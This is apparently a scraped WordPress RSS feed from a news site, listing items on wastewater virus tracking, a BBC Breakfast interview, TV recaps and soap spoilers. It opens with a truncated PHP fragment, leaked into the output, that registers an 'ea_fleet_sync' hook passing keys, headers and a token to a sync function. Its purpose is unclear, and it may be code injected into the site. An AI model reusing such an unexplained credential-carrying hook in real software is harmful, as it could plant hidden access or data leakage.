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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); HOPE – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 17 Sep 2022 14:34:25 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png HOPE – Brief News https://briefnews.eu 32 32 For virus tracking, wastewater is liquid gold. Scientists hope that work isn’t flushed away https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/ https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/#respond Sat, 17 Sep 2022 14:34:25 +0000 https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/ WASTEWATER TESTING

For more than two years, research teams across the country — and around the world — have been using human waste to monitor rising and falling SARS-CoV-2 levels. The same sewage surveillance systems can track pathogens from polio to monkeypox. So what’s the future of wastewater testing?

]]> https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/feed/ 0 This B.C. couple found a doctor by placing a newspaper ad. Others hope to copy their success https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/ https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/#respond Mon, 12 Sep 2022 11:33:26 +0000 https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/ Michael Mort and Janet Mort

As Canada’s doctor shortage grows, people are getting creative in their search for primary care. The Vancouver Island woman whose newspaper ad seeking a doctor inspired a copycat in Vancouver has found a family physician for her husband. But there are still millions without access to primary care.

]]> https://briefnews.eu/this-b-c-couple-found-a-doctor-by-placing-a-newspaper-ad-others-hope-to-copy-their-success/feed/ 0 BBC Breakfast host forced to cut off Tory MP after awkward blunder: ‘Hope you can hear me’ https://briefnews.eu/bbc-breakfast-host-forced-to-cut-off-tory-mp-after-awkward-blunder-hope-you-can-hear-me/ https://briefnews.eu/bbc-breakfast-host-forced-to-cut-off-tory-mp-after-awkward-blunder-hope-you-can-hear-me/#respond Sun, 01 Nov 2020 09:06:34 +0000 https://briefnews.eu/bbc-breakfast-host-forced-to-cut-off-tory-mp-after-awkward-blunder-hope-you-can-hear-me/

Chris Green MP joined Rachel Burden and Roger Johnson on BBC Breakfast via video link live from his home in Horwich this morning following the news that England is set to enter a month-long lockdown to try and remedy the rising rates of coronavirus cases. Lockdowns are something which hit home for Mr Green, with the politician resigning from his Government post last month following local restrictions implemented in the north of the country. But as he tried to discuss the nationwide rollout of the lockdown, he was promptly interrupted for a distracting mishap.

Johnson kicked off the segment to introduce the MP, as he said: “Obviously, throughout the programme, we’ll be bringing you reaction to this new national lockdown in England.

“It’s due to start on Thursday, a couple of people have said is it Thursday, when on Thursday – it’s one minute past midnight on Thursday morning.”

Burden then weighed in to introduce Mr Green: “Well, we’re joined now by the Conservative MP Chris Green,

“Who resigned from his Government post last month in protest over local lockdown measures there, he joins us now,” the BBC Breakfast host added.

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She then quizzed Mr Green: “Do you think the Prime Minister had any other choice given the numbers the scientists were presenting him with?”

Mr Green replied: “Well I think the first thing that the Prime Minister has to do is look at the balance.

“We know COVID has had an impact and COVID is a serious threat that we do have to react against and challenge,

“But, we also have to see the other side as well and the health impact, physical and mental health, of the lockdown is enormous.”

However, clearly irked and not able to hear Mr Green, Burden cut him off and intervened.

“Chris Green, I’m sorry to interrupt,” Burden jumped in. “I hope you can hear me,

“But your sound quality isn’t great and I do just want to ask you another question.

“So I wonder if you can just move a bit closer to your laptop or whatever it is you’re using that would be really helpful so we can hear what you’re saying.”

The politician could be seen edging closer to his camera in the hopes it would improve the quality of the chat.

However, it was to no avail as the interview continued to be derailed by the tech issues.

“We’ll have to leave it there,” Burden said after asking him one final question in, what turned out to be, just a three-minute interview.

BBC Breakfast airs daily at 6am on BBC One.

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]]> https://briefnews.eu/bbc-breakfast-host-forced-to-cut-off-tory-mp-after-awkward-blunder-hope-you-can-hear-me/feed/ 0 Vida: Is There Hope for Emma and Nico? Mishel Prada Weighs In https://briefnews.eu/vida-is-there-hope-for-emma-and-nico-mishel-prada-weighs-in/ https://briefnews.eu/vida-is-there-hope-for-emma-and-nico-mishel-prada-weighs-in/#respond Tue, 26 May 2020 11:36:14 +0000 https://briefnews.eu/vida-is-there-hope-for-emma-and-nico-mishel-prada-weighs-in/

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Sunday’s Vida ended with Emma feeling low, hunched over a toilet from the side effects of the abortion pill and reeling at the realization that her sister has re-established contact with the father they thought was dead.

Yeah, you’d probably seek comfort in the arms of your recent ex, too.

Emma and her former girlfriend, Nico — who comforts a sweaty, shaky Emma in the episode’s final moments — are “both really going through a lot,” series star Mishel Prada tells TVLine. “Nico’s past is catching up with them. She says it throughout the episode, and you realize she just gets caught up in helping other people and being a savior.” But Nico, played by Roberta Colindrez, has decided she’s had enough: As viewers will recall, she gave Emma (who also happens to be her employer) her two weeks’ notice earlier in the ep.

Vida Season 3 Episode 5 Mishel PradaAborting her baby with Baco, losing the woman she loves, feeling betrayed by her sister — all are huge emotional blows, but Prada says Emma will be damned before she shows that any of it is getting to her.

“When I was going through that episode, I was thinking, ‘Oh, wow. This is an opportunity to show somebody who thinks they’re immune from this,’” she says. “Like, ‘I’m strong,’ and it’s just like, no. This is something you’re going to have to deal with, and you can’t just brush over it.”

And yes, Emma’s repeated rush for the nearest bathroom wasn’t the most pleasant thing to watch, but Prada has a deeper take on it. “If you really want to get philosophical with it, we’re talking about that generational trauma and purging this past that she’s had, which is the way that she was treating Baco and the way that she would treat other people.” Getting all of that out of her system, so to speak, allows Emma “to be able to then go on and not be that way anymore.” Prada chuckles. “At least, try not to be that way anymore.”

Will this softer Emma stick around? We’ll see how it pans out: The series finale airs Sunday on Starz (9/8c).

With the weight of their mother’s legacy on their shoulders, the sisters are forced to decide whether they will ultimately stay together or go their separate ways.

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]]> https://briefnews.eu/vida-is-there-hope-for-emma-and-nico-mishel-prada-weighs-in/feed/ 0 Late-Night Quarantined: Daily Show Rebrands, Lin-Manuel Performs and Colbert Offers a Message of Hope https://briefnews.eu/late-night-quarantined-daily-show-rebrands-lin-manuel-performs-and-colbert-offers-a-message-of-hope/ https://briefnews.eu/late-night-quarantined-daily-show-rebrands-lin-manuel-performs-and-colbert-offers-a-message-of-hope/#respond Thu, 19 Mar 2020 14:41:38 +0000 https://briefnews.eu/late-night-quarantined-daily-show-rebrands-lin-manuel-performs-and-colbert-offers-a-message-of-hope/

Late-night comedians continue to experiment with their formats while hunkered down in their respective coronavirus bunkers.

For instance, The Daily Show With Trevor Noah on Wednesday rebranded as The Daily Social Distancing Show. During the 17-minute, online-only episode, the Comedy Central host provided updates on the pandemic and checked in with correspondent Roy Wood Jr. over video chat.

Meanwhile, Full Frontal‘s Samantha Bee launched Beeing at Home, a daily digital series with tips on how to “survive and thrive while also social distancing.” First up, the TBS host offered a lesson on how not to chop wood:

Over on NBC, The Tonight Show Starring Jimmy Fallon front-loaded a previously scheduled repeat with the second installment of its At Home web-series. The episode featured a brief Zoom interview with Tony Award winner Lin-Manuel Miranda, who closed things out with a performance of Hamilton‘s “Dear Theodosia”:

As for other late-night hosts…

ABC’s Jimmy Kimmel explained what society will be forced to do if the elderly don’t stay home and take the necessary precautions. “It’s going to force us to do something drastic, something we don’t want to do, like taking Blue Bloods away,” he said. “You want that to happen? Don’t make us take Donnie Wahlberg from you, because we will.” He also checked in with sidekick/security guard Guillermo:

On TBS, Conan O’Brien suggested alternatives for those who didn’t get out in time to stock up on toilet paper. Among them were old CVS receipts, Valpak coupons and stocks for Carnival Cruise Line:

Comedy Central’s David Spade delivered his first “Lo-Fi” Lights Out monologue. Towards the end, he said that the fate of humanity rides on whether “national treasure” Tom Hanks, who tested positive for coronavirus, manages to pull through:

Over on CBS, The Late Show‘s Stephen Colbert offered a powerful message of hope:

“If there’s one good thing that might come out of this crisis, I think it’s that in this seemingly divided nation, people are doing their best to protect the country’s collective wellbeing,” he said. “Everywhere you look, people are looking after each other, getting food or cleaning supplies for their neighbors, regardless of what that neighbor’s politics are. Democrat, Republican, socialist… it doesn’t matter right now. We can still disagree about many things, but this crisis has driven home — literally home — the truth that this is one great nation, united by our belief in, and our need for, each other, and reinforced my belief that the American people, like all people, are essentially good, and always want to know how to do the right thing.”

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]]> https://briefnews.eu/late-night-quarantined-daily-show-rebrands-lin-manuel-performs-and-colbert-offers-a-message-of-hope/feed/ 0 Holby City spoilers: Elliot Hope star Paul Bradley returns for major new storyline https://briefnews.eu/holby-city-spoilers-elliot-hope-star-paul-bradley-returns-for-major-new-storyline/ https://briefnews.eu/holby-city-spoilers-elliot-hope-star-paul-bradley-returns-for-major-new-storyline/#respond Fri, 05 Jul 2019 04:58:16 +0000 http://briefnews.eu/holby-city-spoilers-elliot-hope-star-paul-bradley-returns-for-major-new-storyline/

Holby City continues to celebrate its 20th anniversary this year and has already a host of old faces returning to the BBC hospital’s halls.

And now the show has announced Elliot star Paul Bradley is the latest to return to the drama, making his next debut in the long-running series’ landmark 1000th episode.

The character will be back in the wards for an ongoing storyline that features in a total of five episodes.

When Elliot suddenly pops up, he claims he’s simply there to catch up with his old friend Jac Naylor (Rosie Marcel).

But as the plot unfolds, it’s slowly revealed Elliot’s reason for returning is actually quite a bit more sinister, and he has an ulterior motive.

Diane Lloyd (Patricia Potter) will also be joining Bradley, as she features in a pivotal episode which takes viewers outside of the hospital and to somewhere completely out of the doctors and nurses’ comfort zones.

The character was last seen in 2007, and she will leave some of her ex-colleagues very taken-aback by her unexpected arrival.

What’s more, the iconic characters of the Tan twins will return – conjoined babies born in 2008 who will pop back up as 11-year-old children.

The duo return to the ward where their life-altering surgery took place.

Speaking about his return to the hit programme, Paul shared his excitement to be sinking his teeth into the role once more.

He enthused: “I’m really looking forward to returning to a programme on which I spent so many happy years.

“Holby has always been a hive of really exciting and imaginative stories and this won’t be any different, it’s going to be a cracker!”

Patricia echoed her co-star’s sentiments, saying: “It’s lovely to be returning to Holby.

“I really enjoyed my time there and made fantastic friends as well as meeting my husband.

“Returning after a decade is very weird but it’s as friendly as ever and revisiting Diane feels like putting on an old glove!

“She had a tragic end and this storyline feels like it puts the character to bed with some peace and resolution,” the star continued. “It’s great.”

Executive producer Simon Harper went on to praise the actors for their work on the show, saying: “How could we possibly celebrate Holby’s 20th anniversary without a return stint from one of our most beloved characters?

“Elliot was the heart and soul of the hospital and the nearest thing to a father Jac has ever had – and her desire to please and prove herself to him at a particularly fraught time will have huge emotional consequences in our climactic story for 2019.

“I’m so delighted to welcome the glorious Paul Bradley back to his Holby family, and I also know just how hungry the audience have been for this moment, so it’s wonderful to finally see it happen.”

“It’s not often we literally bring a character back from the dead, and no, Diane won’t be walking out of the shower and telling her colleagues it was all a decade long dream,” Simon promised. “Her return is in itself an anniversary homage to a time on the show when we experimented quite regularly with genre and style, so the audience can expect something very different indeed in a unique and quirky episode where Ric faces a terrifying and life-changing choice, and the world of the hospital is literally turned upside down.”

Holby City airs Tuesdays at 8pm on BBC One.

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]]> https://briefnews.eu/holby-city-spoilers-elliot-hope-star-paul-bradley-returns-for-major-new-storyline/feed/ 0 The Handmaid’s Tale Recap: Hangings, Hannah and the Death of Hope https://briefnews.eu/the-handmaids-tale-recap-hangings-hannah-and-the-death-of-hope/ https://briefnews.eu/the-handmaids-tale-recap-hangings-hannah-and-the-death-of-hope/#respond Thu, 04 Jul 2019 07:45:46 +0000 http://briefnews.eu/the-handmaids-tale-recap-hangings-hannah-and-the-death-of-hope/

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Oh, how we hated June’s piously smug walking partner, Ofmatthew. And then we felt bad for her because she was pregnant again. Welp, as this week’s The Handmaid’s Tale proves, we should’ve stuck to our initial impression.

At the insistence of Aunt Lydia, the mother-to-be does something truly awful, and her actions not only lead to an innocent woman’s death but also push Hannah just out of June’s reach once again.

Meanwhile, down in D.C., the Waterfords tango. Yeah, I kept waiting for it to turn into a bizarre dream sequence, too. But here we are.

Read on for the highlights of “Under His Eye.”

HANG IT ALL | Three lines of handmaids get in formation alongside some red rope and, on Aunt Lydia’s command, pull until the floor of a gallows is reset. (Side note: Seriously, RED rope? Gilead has gotta make even the rope symbolic? How much time and effort did it take to make that rope that color? Wouldn’t a normal brown rope have served the purpose just as well? If you haven’t picked up on it, this small detail is making me insane.) Lydia harangues her charges about being strong and faithful, then blows a whistle and they pull again so the floor drops out from underneath two men and a woman. The hanged parties die. The handmaids quickly disperse.

Ofmatthew is back to being her holier-than-thou self, though she’s brought up short by a bout of morning sickness. June rolls her eyes but helps the woman breathe through it. However, when she tries to sympathize, she’s met with Ofmatthew’s strident statement that “My child is a blessing!,” and their moment of kinship is over.

At Loaves and Fishes , June and a few of her fellow ‘maids notice that another handmaid is wearing the face veil like the D.C. handmaids do, and Alma says she’s seen others in their area do the same. “We should salute their devotion,” Ofmatthew sniffs. “Right. You do that,” June says. When Alma gets June alone, she directs her to Hannah’s martha, who also happens to be in the store. The martha reports that “Agnes” is doing well and that June should leave her and her family alone. June counters that there’s no such thing as doing really well in Gilead while female, and notes that the hangings are on the rise.

June says that Commander Lawrence could get them all out, and though the martha seems timid, she relents: There’s a resistance-friendly Guardian working the entrance to Hannah’s school that day, she says, and he’ll allow June to see her daughter. A short distance away, unbeknownst to June or the Martha, Ofmatthew clocks the entire exchange.

EMILY AND MOIRA BOND, KINDA | In Canada, the Swiss intermediary woman who met with the Waterfords and June in Washington, D.C., is sitting down with Emily. Sylvia also is there. As the sympathetic Swiss woman gingerly asks about the acts that led to Gilead considering Emily a “criminal” — stealing the vehicle and running over the guard, stabbing Lydia in the back on the night of her escape — Sylvia is incensed that her wife is having to answer for actions she felt were necessary for her survival. Later, she tells Emily, “You know I don’t care what you did there, right? You don’t have to deal with this on your own.” But Emily, who’s just as shell-shocked as she has been since arriving in Toronto, claims she’s fine.

At a café later on, Moira tries to tease Emily into talking about their old haunts, name-checking some of Boston’s gay bars like Club Café and Machine, but Emily quietly tells her that she studied a lot and didn’t have much of a social life. Undeterred, Moira unsuccessfully strives to find some common friends. “How do we not have any gay in common?” she marvels. “I’m pretty sure this is the first time this has happened in all lesbian history.” Then, when Moira gets a message that there’s going to be an in-your-face protest of some Canadian minister involved in Nichole’s case, Emily meekly asks, “Can I come?”

And that’s how both women wind up behind bars after getting physical with the ministers’ security staff. That’s where Em confesses about feeling no remorse about killing a commander’s wife in The Colonies. Moira understands. “I killed a commander,” she says. “I didn’t have to. He was asleep, but I did it anyway.” But then Moira points out how they haven’t killed anyone since they escaped, “So I think we’re good,” she says, smiling.

The Handmaids Tale Recap Season 3 Episode 7 Under His EyeD.C. GOINGS-ON | In the nation’s capital, Olivia Winslow shows Serena around a gorgeous “unrestored” house that she hopes the Waterfords will consider for their potential relocation. “Unrestored” here, by the way, means “not yet cleared of the detritus left behind by a family ripped from its home by a totalitarian regime.” There are shoes in the entryway, a Washington Post on the table and broken glass everywhere — signs of struggle, or an unrelenting search, or both. A photo of the previous owners show they were a family with three young children; the baby’s name was Phoebe, we learn from the wall of the nursery upstairs. As Olivia is prattling on about the structure’s high points, Serena is subdued. I’d liked to think she’s feeling bad about the poor people who used to live here and the obvious signs of their turmoil and possible deaths, but let’s be honest: She’s probably just mooning over how she may never see Nichole again. God, she’s really the worst.

Elsewhere, George Winslow catches up to Fred at the Parliament of Men With Lots of Important Walking-Around To Do and suggests that Fred not try so hard to get Nichole back. “So much leverage comes from the child,” he says. “With her back home…” Fred picks up exactly what his superior is putting down, and how could he not? Winslow gets all close and breathy as he whispers how “in the end, Gilead will know whom to credit.” Oh that wasn’t weird AT ALL.

Later that evening, when he meets Serena at some high mucky-muck dinner and dance, Fred promises his wife that he’s going to bring their daughter home. She’s relieved, because — and I can’t remind us all of this enough — she’s far smarter than he is and had already arrived at the conclusion that having Nichole trapped in Canada is more “politically expedient” than reuniting her with them. He says he doesn’t have a timeline yet, “so please don’t push me for one,” and she is genuinely grateful. How grateful, you ask? She looks like she’s enjoying it when they twirl around the ballroom in a tango. Everyone applauds at the end. Hold up: How is sexy, sexy TANGO state-approved but WORD-BASED LABELS ON FOOD aren’t?

ABORT MISSION! | Back to June: Now that she knows where Hannah will be, and that she can probably get access to her, she just needs a way to get there by 3 pm. So she sweetly and efficiently bullies Eleanor Lawrence into going for a walk. All is going well until they run into Naomi Putnam and Angela — “Hi, button. We thought you were gonna die, but you didn’t!” Mrs. Lawrence coos to the child not once but twice (ha!) — and June hustles her mistress out of there before she can derail the whole plan.

As they continue, Mrs. Lawrence talks about how she always wanted kids but her husband didn’t, and how maybe it was best given that she has bipolar disorder. June starts to feel bad, so she comes clean: “My daughter’s school is in Brookline. Today may be my only chance to see her.” She apologizes and offers to take Eleanor home, but Mrs. Lawrence has a new vivaciousness about her. “I think I’m keen on an adventure,” she says, and they keep going.

I’ve got to give Eleanor credit: She improvises nicely when they arrive at Hannah’s school and realize that the friendly Guardian isn’t there that day. She talks her way into a tour of the facility, but June is made to wait outside. She runs around the building — which has armed Guardians everywhere, by the way — until she’s on the other side of the wall separating the outside play area from the rest of the grounds. June thinks she can hear Hannah cavorting with her friends (maybe she can?) but it’s all for naught when a Guardian pulls her back to deal with her distraught mistress.

Apparently, Mrs. Lawrence got agitated when she wasn’t shown the children, and she won’t calm down or stop crying. June promises to get her confused mistress home, and they leave. Back at the house, the commander gets his wife settled but says nothing to June. She apologizes, but then changes her tone to something harsher: “You should have seen her out there. She came alive,” she tells him. “You should have seen her.”

I WAS WRONG: OFMATTHEW IS THE WORST | At the next hanging, Alma whispers to June that Hannah and her family are gone, and no one knows why. Just then, Lydia announces that one of the people facing lethal punishment that day was a martha who endangered “the child she was trusted to protect!” The woman in question is Hannah’s martha, who’s sobbing as she’s brought up on the gallows. June looks like she got punched in the stomach, and she refuses to pick up the rope when commanded. Of course, Lydia makes her, calling it her “sacred duty.” When the older woman blows her terrible whistle, June whispers “By His Hand” and helps to yank the floor out from under the martha and her fellow “criminals,” who are killed. June lingers a moment after the other handmaids leave, but then she does, too.

When June catches up to the group, Ofmatthew just can’t keep her stupid mouth shut. “You should be thankful. Your temptation’s been lifted,” she tells her walking partner, who demands to know what the expectant mother did. Apparently, she was spying on June for Aunt Lydia. “I saved you!” she cries, which prompts June to take off her wings — and that’s how you know it’s gonna go DOWN. “Do you have any idea what you did?!” June screams, grabbing Ofmatthew by the neck and pushing her up against a wall while the rest of the ‘maids form a red wall of secrecy around them. Eventually, some of the women pull June off Ofmatthew, who’s gasping and gaping. Then June walks off, raging.

Now it’s your turn. What did you think of the episode? Sound off in the comment!

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Hope’s season finale sacrifice may have gotten her wiped from the collective consciousness, but we could never forget Legacies‘ leading lady — and we can’t stop wondering what her future holds.

So when we recently caught up with star Danielle Rose Russell at The CW’s upfront presentation in New York, we unleashed all of our burning questions about the Originals spinoff’s upcoming second season. First up: How will Hope react if she fights to come home… only to discover that Landon, who lost all memory of her, has moved on with someone new?

Russell acknowledged that it would be an “awful” scenario to watch play out, especially because she knows that “[Hope’s] love for Landon is so strong, she’ll do whatever she can for his happiness and his safety. And if that means sacrificing her own happiness, she would do it in a heartbeat.” Playing it coy, the actress added, “I think that dynamic may or may not be explored. Who knows!”

Also discussed in our Q&A with Russell: Where was she when the cast learned about Legacies‘ Season 2 pick-up? How did she react to learning that Hope would end the season with a sacrifice? Was she surprised by the fans’ passionate feelings about Josie’s crush? And why does she want Hope’s story to get even darker? (You know, if that’s even possible at this point.)

Hit PLAY on the video above to watch our full red carpet interview with Russell, then drop a comment with your own *ahem* hopes for Legacies‘ future below.

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COMMON painkillers such as aspirin and ibuprofen could triple a patient’s chances of surviving head and neck cancer, a study revealed yesterday. More than a third of people with head and neck cancer have a gene mutation that means they could benefit from regularly taking non-steroidal anti-inflammatory drugs .

]]> https://briefnews.eu/aspirin-offers-fresh-hope-to-patients-with-head-cancer/feed/ 0 Emmerdale spoilers: Bob Hope SAVED after homeless ordeal – but is more trouble in store? https://briefnews.eu/emmerdale-spoilers-bob-hope-saved-after-homeless-ordeal-but-is-more-trouble-in-store/ https://briefnews.eu/emmerdale-spoilers-bob-hope-saved-after-homeless-ordeal-but-is-more-trouble-in-store/#respond Sat, 26 Jan 2019 18:44:15 +0000 http://briefnews.eu/emmerdale-spoilers-bob-hope-saved-after-homeless-ordeal-but-is-more-trouble-in-store/

Bob (played by Tony Audenshaw) was discovered by vicar Harriet Finch (Katherine Dow Blyton) sleeping on a park bench in a hypothermic state.

After being rushed to hospital, Bob began to slowly recover with his friends staying at his bedside and offering him support.

The heartbreaking storyline arose after Bob cheated on his wife Brenda Walker (Lesley Dunlop) with Laurel Thomas (Charlotte Bellamy) and lost his jobs at both the café and The Woolpack.

However, it seems after pouring his heart out to Brenda on the soap last week about how he should leave the village, his estranged wife could be his saving grace.

With Brenda at his bedside, Bob said: “It’s obvious I’m going to have to move away. There’s no work for me here.”

Brenda pleaded with him to speak with The Woolpack owner Chas Dingle (Lucy Pargeter) about getting his old job back, but the homeless character replied: “It might not look like it but I’ve still got some pride.”

After Bob finally accepted some help at the end of Friday night’s episode, Brenda will go one step further by offering Bob a place to stay.

The offer will come after Bob admits to Brenda and her partner Doug Potts (Duncan Preston) he felt like a burden to them all, revealing he will be staying at a hostel.

Doug isn’t too pleased with Brenda’s offer however, as he begins to question what Bob’s inclusion in her life will mean for their relationship.

As well as wanting Bob to live with his children, could Brenda have other motives behind her offer to give her estranged husband a roof?

Will Doug be packing his bags as the husband and wife fall in love all over again?

Appearing on Loose Women earlier this week, actor Tony Audenshaw, 54, revealed how his character’s storyline was very close to home from his days as a young actor moving to London.

Tony told the panel: “I used to work at Thorpe Park and up North, things are much cheaper.

“I came down here, it was in the eighties and it was what £70 at the time for a B and B.

“So, if I was down for five nights, I’d sleep in my car for a couple of nights because we didn’t have much money coming in, I’d never do it two nights on the trot,” he revealed.

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